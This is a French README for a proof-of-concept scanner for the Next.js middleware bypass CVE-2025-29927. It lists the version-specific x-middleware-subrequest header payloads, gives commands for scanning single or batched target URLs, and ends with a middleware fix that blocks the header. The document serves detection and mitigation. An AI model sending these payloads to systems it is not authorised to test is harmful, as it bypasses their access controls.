
Scanner automatisé de PoC pour la vulnérabilité de contournement du middleware Next.js CVE-2025-29927. Teste plusieurs payloads x-middleware-subrequest sur des URL cibles avec analyse concurrente et export JSON.
Un outil robuste de preuve de concept (PoC) pour détecter la vulnérabilité du middleware de Next.js (CVE-2025-29927).
Cet outil teste une vulnérabilité critique dans les applications Next.js où l'en-tête x-middleware-subrequest peut être utilisé pour contourner les vérifications de sécurité implémentées dans le middleware. L'exploit consiste à envoyer des requêtes HTTP avec des en-têtes malveillants spécifiques, variant selon la version de Next.js.
Selon les recherches, il existe différentes charges utiles pour différentes versions de Next.js :
Versions antérieures à 12.2 :
x-middleware-subrequest: pages/_middleware
Versions à partir de 12.2 :
x-middleware-subrequest: middleware
ou
x-middleware-subrequest: src/middleware
(si l'application utilise le répertoire src)
Versions plus récentes (comme 15.x) :
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
ou
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
Notre PoC teste automatiquement toutes ces charges utiles et rapporte celle qui a réussi.
# Clonez le dépôt ou téléchargez les fichiers
# Naviguez jusqu'au répertoire
cd poc-nextjs-2025
# Installez les paquets nécessaires
pip install -r requirements.txt
python main.py -u https://exemple.com # Tester une seule URL
python main.py -f cibles.txt # Tester plusieurs URLs depuis un fichier
| Option | Description |
|---|---|
-u, --url URL | URL cible à scanner |
-f, --file FICHIER | Fichier contenant plusieurs URLs à scanner (une par ligne) |
-p, --paths CHEMINS | Liste de chemins à tester séparés par des virgules (par défaut : chemins courants) |
-t, --threads N | Nombre de threads concurrents (par défaut : 5) |
-o, --output FICHIER | Sauvegarder les résultats dans un fichier JSON |
--timeout N | Délai d'attente de la requête en secondes (par défaut : 10) |
# Scan basique d'une seule cible
python main.py -u https://exemple.com
# Scanner plusieurs cibles avec des chemins personnalisés
python main.py -f cibles.txt -p /api/utilisateurs,/admin,/tableau-de-bord
# Scanner avec une plus grande concurrence et un délai d'attente plus long
python main.py -u https://exemple.com -t 10 --timeout 15
# Sauvegarder les résultats dans un fichier JSON
python main.py -u https://exemple.com -o resultats_scan.json
Le scanner fonctionne en :
x-middleware-subrequest selon les versions de Next.jsSi vous découvrez des applications vulnérables, appliquez ces atténuations :
x-middleware-subrequestexport function middleware(request: NextRequest) {
if (request.headers.has('x-middleware-subrequest')) {
return new Response('Non autorisé', { status: 401 });
}
return NextResponse.next();
}